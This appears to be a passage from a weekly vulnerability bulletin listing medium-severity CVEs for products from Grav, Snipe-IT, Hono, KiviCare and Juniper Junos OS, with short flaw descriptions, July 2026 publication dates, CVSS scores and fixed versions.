| Grav--Grav                | The Grav API plugin (getgrav/grav-plugin-api) 1.0.0 contains an unrestricted file upload vulnerability in the avatar upload endpoint (/api/v1/users/user/avatar). The endpoint validates only the client-declared MIME type (getClientMediaType) beginning with 'image/' and does not inspect the actual file content or restrict the resulting extension, allowing an authenticated user to store arbitrary content - including PHP code, SVG with embedded JavaScript, and polyglot payloads - under user/accounts/avatars/ with predictable filenames. Direct HTTP access to the stored files is blocked by .htaccess (returns 403), but the files persist on disk and | 2026-07-08 | 4.3        | <a href="#">CVE-2026-58654</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | could lead to remote code execution or stored XSS in the presence of a path traversal flaw or server misconfiguration. Fixed in 1.0.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |            |            |                                |
| Grav--Grav                | Grav before 2.0.0 (affected through 2.0.0-rc.9 and the 2.0 branch) contains a stored CSS injection vulnerability in the Markdown image resize() media action. Prior media hardening rejects direct ?style= payloads and unsafe attribute() fallbacks, but the resize() action in Excerpts::processMediaActions() writes caller-controlled values directly into the image's styleAttributes. A lower-privileged content editor who can edit page Markdown can store a crafted image URL with semicolon-delimited CSS declarations in the resize parameters, which are rendered into the final <img style=...> attribute when a higher-privileged reviewer/admin views the page or preview. This does not require JavaScript execution but enables UI redress/overlay and content-manipulation attacks (e.g., a full-viewport fixed overlay). Fixed in 2.0.0. | 2026-07-08 | 4.8        | <a href="#">CVE-2026-58657</a> |
| gristlabs--grist-core     | Grist is spreadsheet software using Python as its formula language. Prior to 1.7.15, the GET /forms endpoint read table and column metadata without applying the document's access rules and did not check that the requested section was actually a form. A user with only partial read access, including public access on a publicly viewable document, could request the metadata of any widget and reveal table and column structure that access rules would otherwise hide, even in documents that contain no forms. This issue is fixed in version 1.7.15.                                                                                                                                                                                                                                                                                            | 2026-07-10 | 4.3        | <a href="#">CVE-2026-55664</a> |
| grokability--snipe-it     | Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the user edit flow stores url()->previous() from the attacker-controlled Referer header into Laravel's intended URL session value and later uses redirect()->intended(...) when redirect_option=back is submitted, allowing Snipe-IT to be used as a trusted redirector after a legitimate user edit action. This issue is fixed in version 8.6.2.                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-10 | 6.1        | <a href="#">CVE-2026-55461</a> |
| grokability--snipe-it     | Snipe-IT is an IT asset/license management system. Prior to 8.6.2, an authenticated user with import and assets.update permissions can place a path traversal string in an asset image field through CSV import and then trigger image deletion, allowing deletion of arbitrary files accessible to the server process. This issue is fixed in version 8.6.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-10 | 6.5        | <a href="#">CVE-2026-55469</a> |
| grokability--snipe-it     | Snipe-IT is an IT asset/license management system. Prior to 8.6.1, the Importer API endpoint allows a user with CSV import capabilities and a valid API key to overwrite the created_by value of an import file, allowing unauthorized modification of import ownership metadata. This issue is fixed in version 8.6.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-10 | 5.7        | <a href="#">CVE-2026-55475</a> |
| grokability--snipe-it     | Snipe-IT is an IT asset/license management system. Prior to 8.6.2, the unaccepted-assets report delete endpoint authorizes only reports.view and deletes CheckoutAcceptance::pending()->find(\$acceptanceId) by global ID without checking access to the related checkoutable asset, allowing a reports user in one company to delete pending checkout acceptance records for another company. This issue is fixed in version 8.6.2.                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-10 | 5          | <a href="#">CVE-2026-55515</a> |
| grokability--snipe-it     | Snipe-IT is an IT asset/license management system. Prior to 8.6.2, UsersController::show() and printInventory() authorize only user viewing before loading and rendering assigned license, accessory, and consumable relationships, allowing an authenticated user with only users.view to see inventory and cost/order metadata from modules that direct permissions would otherwise deny. This issue is fixed in version 8.6.2.                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-10 | 4.3        | <a href="#">CVE-2026-55462</a> |
| grokability--snipe-it     | Snipe-IT is an IT asset/license management system. Prior to 8.6.2, when Full Multiple Companies Support and scope_locations_fmcs are enabled, the API location creation endpoint detects an invalid parent-child company mismatch but does not return immediately, allowing creation of a child location under a parent location from a different company. This issue is fixed in version 8.6.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-10 | 4.3        | <a href="#">CVE-2026-55472</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                                                                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|----------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| gunthercox--ChatterBot                                                                                               | ChatterBot is a machine learning, conversational dialog engine for creating chat bots. Prior to 1.2.14, UbuntuCorpusTrainer.extract() uses a predictable home-rooted output directory (~/ubuntu_data/ubuntu_dialogs) with a check-then-create pattern followed by tar.extractall(path=self.data_path), allowing a local attacker who pre-plants a symlink at the predictable path to cause archive contents to be written through the symlink to an attacker-chosen directory. This issue is fixed in version 1.2.14.                                                                                                                              | 2026-07-09 | 5.5        | <a href="#">CVE-2026-58198</a> |
| guzzle--guzzle                                                                                                       | Guzzle is an extensible PHP HTTP client. Prior to 7.12.3, CookieJar did not restrict cookies scoped to IP-address or bare-numeric Domain values to the exact host that set them, because SetCookie::matchesDomain() applied ordinary suffix matching to domains such as 192.168.0.1, [::1], or 1, allowing cross-host cookie disclosure, cookie injection, or session fixation. This issue is fixed in version 7.12.3.                                                                                                                                                                                                                             | 2026-07-08 | 4.7        | <a href="#">CVE-2026-59883</a> |
| guzzle--psr7                                                                                                         | guzzlehttp/psr7 is a PSR-7 HTTP message library implementation in PHP. Prior to 2.12.3, Uri::assertValidHost() does not reject URI host components containing authority delimiters, embedded ports, or malformed IPv6 brackets, allowing Uri::getHost() to disagree with the URI authority used for security or routing decisions. This issue is fixed in version 2.12.3.                                                                                                                                                                                                                                                                          | 2026-07-08 | 4.2        | <a href="#">CVE-2026-59882</a> |
| happyforms--Happyforms Form Builder for WordPress: Drag & Drop Contact Forms, Surveys, Payments & Multipurpose Forms | The Happyforms - Form Builder for WordPress: Drag & Drop Contact Forms, Surveys, Payments & Multipurpose Forms plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 1.26.12 via the happyforms_get_form_partial() function. This makes it possible for authenticated attackers, with Administrator-level access and above, to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included. | 2026-07-10 | 6.6        | <a href="#">CVE-2025-11977</a> |
| Harness--Harness                                                                                                     | A vulnerability was determined in Harness up to 2.28.2. This vulnerability affects the function getAuthorizedSpaces of the file app/api/controller/gitSPACE/list_all.go of the component gitSPACEs Endpoint. Executing a manipulation can lead to authorization bypass. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                                         | 2026-07-08 | 4.3        | <a href="#">CVE-2026-15036</a> |
| HashiCorp--Nomad                                                                                                     | HashiCorp Nomad and Nomad Enterprise are vulnerable to a cross-namespace authorization bypass in the dynamic host volumes feature that may allow an operator holding the host volume delete permission in one namespace to delete a sticky volume claim belonging to a job in another namespace. This vulnerability, CVE-2026-14896, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.8, and 1.10.14.                                                                                                                                                                                                                    | 2026-07-08 | 4.2        | <a href="#">CVE-2026-14896</a> |
| HashiCorp--Shared library                                                                                            | HashiCorp memberlist before version 0.6.0 is vulnerable to a denial-of-service issue in its push/pull state handling that may allow an attacker with network access to the gossip port to exhaust memory on a receiving node and cause the process to terminate. This vulnerability (CVE-2026-14362) is fixed in memberlist 0.6.0.                                                                                                                                                                                                                                                                                                                 | 2026-07-08 | 4.9        | <a href="#">CVE-2026-14362</a> |
| HashiCorp--Tooling                                                                                                   | The consul-template library before version 0.42.1 is vulnerable to a path redirection issue in the writeToFile template helper that may allow template output to be written outside the intended directory or to overwrite an existing file. This vulnerability (CVE-2026-14361) is fixed in consul-template 0.42.1.                                                                                                                                                                                                                                                                                                                               | 2026-07-08 | 4.7        | <a href="#">CVE-2026-14361</a> |
| HCLSoftware--HCL DevOps Deploy                                                                                       | HCL DevOps Deploy uses Cross-Origin Resource Sharing (CORS) which could allow an attacker to carry out privileged actions and retrieve sensitive information as the domain name is not being limited to only trusted domains.                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-09 | 5.4        | <a href="#">CVE-2026-56458</a> |
| HCLSoftware--HCL DevOps Deploy / HCL Launch                                                                          | HCL DevOps Deploy / HCL Launch is susceptible to sensitive information disclosure. The application stores potentially sensitive information in log files that could be read by a local user.                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-09 | 6.2        | <a href="#">CVE-2026-56459</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| HCLSoftware--HCL DevOps Deploy / HCL Launch                 | HCL DevOps Deploy / HCL Launch could disclose sensitive configurations and secrets to authenticated users in API responses that could be used in further attacks against the system.                                                                                                                                                                                                                                                                                                                                               | 2026-07-09 | 6.5        | <a href="#">CVE-2026-56460</a> |
| Helicone--ai-gateway                                        | A flaw has been found in Helicone ai-gateway up to 0.2.0-beta.30. This affects the function build_target_url of the file ai-gateway/src/dispatcher/service.rs of the component AWS Metadata Service. Executing a manipulation of the argument extracted_path_and_query can lead to server-side request forgery. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.                                          | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15508</a> |
| hestiacp--hestiacp                                          | HestiaCP before 1.9.5 contains a stored cross-site scripting vulnerability that allows authenticated low-privilege users to inject arbitrary HTML by creating a DNS record with a double-quote followed by a script payload in the value field. The application fails to apply htmlspecialchars() encoding to the DNS record value field rendered into the data-sort-value HTML attribute in list_dns_rec.php, allowing the payload to execute in the browser of any user who views the DNS record list, including administrators. | 2026-07-10 | 4.6        | <a href="#">CVE-2025-30008</a> |
| Hewlett Packard Enterprise (HPE)--HPE Networking Instant On | An unauthenticated remote disclosure vulnerability has been identified in HPE Networking Instant On 1830, 1930, and 1960 Switches. Successful exploitation of this vulnerability could allow an unauthenticated remote threat actor to access sensitive cryptographic secrets on a vulnerable system.                                                                                                                                                                                                                              | 2026-07-07 | 6.5        | <a href="#">CVE-2026-44877</a> |
| Hono--Hono                                                  | Hono before 4.12.7 allows __proto__ key in parseBody with dot option enabled, permitting specially crafted form field names to create objects with __proto__ properties. When parsed results are merged into regular JavaScript objects using unsafe merge patterns, attackers can exploit this to achieve prototype pollution and modify object behavior.                                                                                                                                                                         | 2026-07-11 | 4.8        | <a href="#">CVE-2026-56763</a> |
| honojs--hono                                                | Hono is a Web application framework that provides support for any JavaScript runtime. From 4.0.0 before 4.12.27, cx() in hono/css composes class names from plain strings but marks the result as already escaped without HTML-escaping the input, allowing untrusted className values used in a JSX class attribute during server-side rendering to break out of the attribute and inject arbitrary markup. This issue is fixed in version 4.12.27.                                                                               | 2026-07-08 | 6.1        | <a href="#">CVE-2026-59895</a> |
| honojs--hono                                                | Hono is a Web application framework that provides support for any JavaScript runtime. From 4.11.8 before 4.12.27, hono/jsx did not isolate context values per request during server-side rendering, allowing createContext, useContext, jsxRenderer, or useRequestContext data from a different in-flight request to be used after an await in an async component. This issue is fixed in version 4.12.27.                                                                                                                         | 2026-07-08 | 6.5        | <a href="#">CVE-2026-59896</a> |
| honojs--hono                                                | Hono is a Web application framework that provides support for any JavaScript runtime. From 4.3.3 before 4.12.27, the AWS API Gateway v1 adapter can drop a distinct repeated request header value because it de-duplicates values using a substring comparison instead of an exact match, so middleware or application logic that depends on the complete X-Forwarded-For chain, rate limiting, audit logging, or proxy-chain validation can receive incomplete data. This issue is fixed in version 4.12.27.                      | 2026-07-08 | 4.8        | <a href="#">CVE-2026-59897</a> |
| IceHRM--IceHRM                                              | A flaw has been found in IceHRM up to 35.0.1. This impacts an unknown function of the file core/src/Reports/User/Reports/EmployeeAttendanceReport.php of the component UserReport Endpoint. Executing a manipulation of the argument employeeList can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.                                                                 | 2026-07-12 | 6.3        | <a href="#">CVE-2026-15478</a> |
| idocoh--SympI Repeater for ACF and Elementor                | The SympI Repeater for ACF and Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via ACF repeater field values in all versions up to, and including, 2.3. This is due to insufficient input sanitization and output escaping in the symp_arfe_replace_content() function, which uses str_replace() to substitute                                                                                                                                                                                         | 2026-07-08 | 6.4        | <a href="#">CVE-2026-10570</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                 | raw ACF field values (retrieved via get_field()) directly into Elementor-rendered HTML without any escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                   |            |            |                                |
| igweze--wizgrade                                                | A security vulnerability has been detected in igweze wizgrade up to b1d55f22b90cd7e7a6e5002f006d7c649e8086d6. This vulnerability affects unknown code of the file dashboard/studentConductManager.php. Such manipulation leads to cross site scripting. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The vendor was contacted early about this disclosure but did not respond in any way.                                                                                                                                                   | 2026-07-12 | 4.3        | <a href="#">CVE-2026-15492</a> |
| imhamzaazam--ecommerceFlask                                     | A weakness has been identified in imhamzaazam ecommerceFlask up to cb7d9e24c30a99379651b7493b32048126ef402b. The affected element is an unknown function. This manipulation causes cross-site request forgery. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.                                                                                                                                                 | 2026-07-06 | 4.3        | <a href="#">CVE-2026-14800</a> |
| Inrove Software and Internet Services--BiEticaret               | Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Inrove Software and Internet Services BiEticaret allows Reflected XSS. This issue affects BiEticaret: before v3.3.57.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-09 | 6.1        | <a href="#">CVE-2026-5793</a>  |
| iconicdesign--KiviCare Clinic & Patient Management System (EHR) | The KiviCare - Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to generic SQL Injection via the 'orderby' parameter in all versions up to, and including, 4.5.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with doctor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This requires that the attacker hold at minimum a KiviCare Doctor-level account, or a Receptionist or Clinic Admin role that grants the doctor_session_list capability.                                    | 2026-07-11 | 6.5        | <a href="#">CVE-2026-15072</a> |
| iconicdesign--KiviCare Clinic & Patient Management System (EHR) | The KiviCare - Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to generic SQL Injection via the 'orderby' parameter in all versions up to, and including, 4.5.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Doctor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Exploitation requires a KiviCare Doctor, Receptionist, or Clinic Admin role at minimum, as the vulnerable REST endpoint is restricted to authenticated users with custom plugin-level access.              | 2026-07-11 | 6.5        | <a href="#">CVE-2026-15073</a> |
| iconicdesign--KiviCare Clinic & Patient Management System (EHR) | The KiviCare - Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.4.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to mark arbitrary pending appointments as Confirmed and forge an associated completed payment record in wp_kc_payments_appointment_mappings using an attacker-supplied payment ID, bypassing payment entirely. This exploit is achievable on a default installation because the gateway resolution logic returns all registered gateways regardless of admin-enabled status, making the manual (KCPayLater) gateway always selectable. | 2026-07-10 | 5.3        | <a href="#">CVE-2026-11990</a> |
| isaacs--node-tar                                                | node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.18, node-tar coerces all-digit PAX path and linkpath values in src/pax.ts to JavaScript numbers, causing downstream path handling such as                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-08 | 5.3        | <a href="#">CVE-2026-59871</a> |



## Medium Vulnerabilities

| Primary Vendor -- Product                                                                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                                                                                                  | normalizeWindowsPath(entry.path).split('/') to throw an uncaught TypeError. This issue is fixed in version 7.5.18.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |            |            |                                |
| isaacs--node-tar                                                                                 | node-tar is a tar archive manipulation library for Node.js. Prior to 7.5.17, node-tar does not strip NUL bytes from PAX path and linkpath records in src/pax.ts, allowing a crafted archive with values to reach fs.lstat or fs.open and terminate the process with an uncaught exception. This issue is fixed in version 7.5.17.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-08 | 5.3        | <a href="#">CVE-2026-59875</a> |
| iscpcolissimo--Colissimo shipping methods for WooCommerce                                        | The Colissimo Officiel : MÃ©thodes de livraison pour WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the updateShippingMethod() function (registered to the wp_ajax_lpc_order_affect AJAX action) in versions up to, and including, 2.9.0. This is due to the handler performing no current_user_can() capability check and no nonce verification before reading an attacker-supplied order_id and modifying that order's shipping method, pickup-point meta, and shipping address. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create or modify the shipment information (shipping method, pickup relay data, and shipping address) of arbitrary WooCommerce orders, including orders placed by other users.                                                                                                                                                                                                                                       | 2026-07-09 | 4.3        | <a href="#">CVE-2026-9240</a>  |
| ivole--Customer Reviews for WooCommerce                                                          | The Customer Reviews for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'color' Shortcode Attribute in all versions up to, and including, 5.113.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-09 | 6.4        | <a href="#">CVE-2026-13771</a> |
| jegtheme--Jeg Kit for Elementor Powerful Addons for Elementor, Widgets & Templates for WordPress | The Jeg Kit for Elementor - Powerful Addons for Elementor, Widgets & Templates for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Image Box widget's 'sg_body_description' parameter in versions up to, and including, 3.2.6. This is due to insufficient input sanitization and output escaping on the description attribute in the render_body() method of the Image_Box_View class - every other attribute used by the method is wrapped in esc_attr(), but the description value is concatenated directly into HTML body context. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.                                                                                                                                                                                                                                                                                                   | 2026-07-10 | 6.4        | <a href="#">CVE-2026-13710</a> |
| Juniper Networks--Junos OS                                                                       | An Unchecked Input for Loop Condition vulnerability in the Packet Forwarding Engine (pfe) of Juniper Networks Junos OS on MX Series allows an unauthenticated, adjacent attacker to cause a Denial-of-Service (DoS). Micro-BFD session flaps generate respective up/down events which are queued by PFEMAN for processing. Especially in a Virtual-Chassis (VC) scenario with locality-bias configured, processing takes a significant amount of time for each event. If these sessions keep flapping, new events are constantly added, and in turn PFEMAN never completes processing these events. This results in the PFEMAN watchdog timer expiring, which causes the FPC to crash and restart, representing a complete service outage. This issue only affects MX series FPCs up to and including MPC9. It does not affect MPC10/11, LC4800/9600 and MX304. This issue affects Junos OS on MX Series: * all versions before 23.2R2-S7, * 23.4 versions before 23.4R2-S8, * 24.2 versions before 24.2R2-S4, * 24.4 versions before 24.4R2-S3, * 25.2 versions before 25.2R2. | 2026-07-09 | 6.5        | <a href="#">CVE-2026-33800</a> |
| Juniper Networks--Junos OS                                                                       | An Improper Check for Unusual or Exceptional Conditions vulnerability in the routing protocol daemon (RPD) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent, unauthenticated attacker sending a specific BGP update over an established BGP session to cause a Denial-of-Service (DoS). Upon receipt of a specifically malformed non-inet/inet6 unicast BGP update, an RPD crash and restart is triggered, which will cause a complete service outage until routing has reconverged. The rpd crash occurs before the update can be readvertised, so there is no downstream propagation. This issue affects: * Junos OS                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-09 | 6.5        | <a href="#">CVE-2026-33801</a> |

## Medium Vulnerabilities

| Primary Vendor -- Product   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                             | versions 25.2 before 25.2R2; * Junos OS Evolved versions 25.2 before 25.2R2-EVO. This issue doesn't affect Junos OS versions before 25.2R1 nor Junos OS Evolved versions before 25.2R1-EVO.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |            |            |                                |
| Juniper Networks-- Junos OS | An Improper Validation of Specified Quantity in Input vulnerability in the Packet Forwarding Engine (pfe) of Juniper Networks Junos OS on MX Series allows an unauthenticated, adjacent attacker to cause a Denial-of-Service (DoS). When a specific packet is received from device in the same broadcast domain, an affected system calculates the packet size incorrectly. This causes further packet processing to fail, which triggers an FPC major error, resulting in a FPC reset impacting traffic until the FPC has automatically recovered. Affected scenarios are: MAP-T, or non-IP traffic encapsulated in IP (e.g. MPLS over GRE). When this issue happens the following logs can be observed: fpc<#> CMEError: /fpc/0/pfe/0/cm/0/MQSS(0)/0/MQSS_CMERROR_LI_INT_REG_UNROLL_TAIL_LEN_GTH_OVF (0x2205eb), scope: pfe, category: functional, severity: major, module: MQSS(0), type: LI: Unroll TAIL length overflow, oc_category: default fpc<#> Performing action reset-fru for error /fpc/0/pfe/0/cm/0/MQSS(0)/0/MQSS_CMERROR_LI_INT_REG_UNROLL_TAIL_LEN_GTH_OVF (0x2205eb) in module: MQSS(0) with scope: pfe category: functional level: major, oc_category: default This issue affects Junos OS on MX Series: * all versions before 23.2R2-S6, * 23.4 versions before 23.4R2-S7, * 24.2 versions before 24.2R2-S4, * 24.4 versions before 24.4R2-S4, * 25.2 versions before 25.2R2. | 2026-07-09 | 6.5        | <a href="#">CVE-2026-57019</a> |
| Juniper Networks-- Junos OS | An Improper Check for Unusual or Exceptional Conditions vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on QFX10000 Series allows an unauthenticated, adjacent attacker to cause a Denial-of-Service (DoS). On all QFX10000 platforms in an EVPN-VxLAN scenario, if an attacker sends IPv6 multicast traffic and these packets reach the non-IRB interface of a spine switch it floods the packet to other spines and all Ethernet Segment Identifier (ESI) leaf switches. This flooding causes the packet to be forwarded in a endless loop, which can lead to saturation of the involved links and in turn impact to legitimate traffic. This issue affects Junos OS on QFX10000 Series: * all versions before 23.2R2-S7, * 23.4 versions before 23.4R2-S8, * 24.2 versions before 24.2R2-S4, * 24.4 versions before 24.4R2-S4. This issue does not affect Junos version after 24.4 as the QFX10000 Series devices are not supported on newer versions anymore.                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-09 | 6.5        | <a href="#">CVE-2026-57020</a> |
| Juniper Networks-- Junos OS | A Missing Release of Memory after Effective Lifetime vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on specific EX Series devices allows an unauthenticated adjacent attacker to cause a Denial-of-Service (DoS). When sFlow is configured in a Virtual Chassis (VC) scenario with EX4100 Series or EX4400 Series devices, multicast traffic which is received on one VC member and sent out on another member leads to a memory leak and ultimately an FPC crash and restart. The leak can be monitored by watching the continuous increase of the buffer values in the output of: user@host> show chassis fpc This issue affects Junos OS on EX4100 Series and EX4400: * all versions before 23.2R2-S7, * 23.4 versions before 23.4R2-S7, * 24.2 versions before 24.2R2-S4, * 24.4 versions before 24.4R2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-09 | 6.5        | <a href="#">CVE-2026-57027</a> |
| Juniper Networks-- Junos OS | An Improper Handling of Undefined Parameters vulnerability in the packet forwarding engine (pfe) of Juniper Networks Junos OS on EX Series devices allows an authenticated attacker with low privileges to cause a Denial-of-Service (DoS). If an attempt is made to subscribe to an unsupported telemetry sensor path on EX2300, EX3400, EX4000, EX4100 and EX4400 via gRPC, this causes the FPC to crash. This leads to a complete service outage until the module has automatically restarted. The following log message can be seen when this issue happens: agentd[<PID>]: AGENTD_RESOURCE_NOT_FOUND: No resource name found for <sensor> This issue affects Junos OS on EX2300, EX3400, EX4000, EX4100 and EX4400 devices: * all versions before 23.2R2-S7, * 23.4 versions before 23.4R2-S8, * 24.2 versions before 24.2R2-S5, * 24.4 versions before 24.4R2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-09 | 6.5        | <a href="#">CVE-2026-57032</a> |

# Medium Vulnerabilities

| Primary Vendor -- Product   | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Juniper Networks-- Junos OS | A Missing Authorization vulnerability in the CLI of Juniper Networks Junos OS on EX Series allows a local, authenticated attacker to cause a Denial-of-Service (DoS). On EX2300, EX4000, EX4100, EX4300-MP (Multigigabit) and EX4400 switches, an authenticated, local attacker with no specific permissions or class can execute a specific, privileged CLI 'request' command which will cause complete traffic impact until the system automatically recovers. This issue affects Junos OS on EX2300, EX4000, EX4100, EX4300-MP (Multigigabit) and EX4400: * 23.2R2 versions before 23.2R2-S6, * 23.4 versions before 23.4R2-S8, * 24.2 versions before 24.2R2-S4, * 24.4 versions before 24.4R2-S3, * 25.2 versions before 25.2R2, * 25.4 versions before 25.4R1-S1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-09 | 5.5        | <a href="#">CVE-2026-33802</a> |
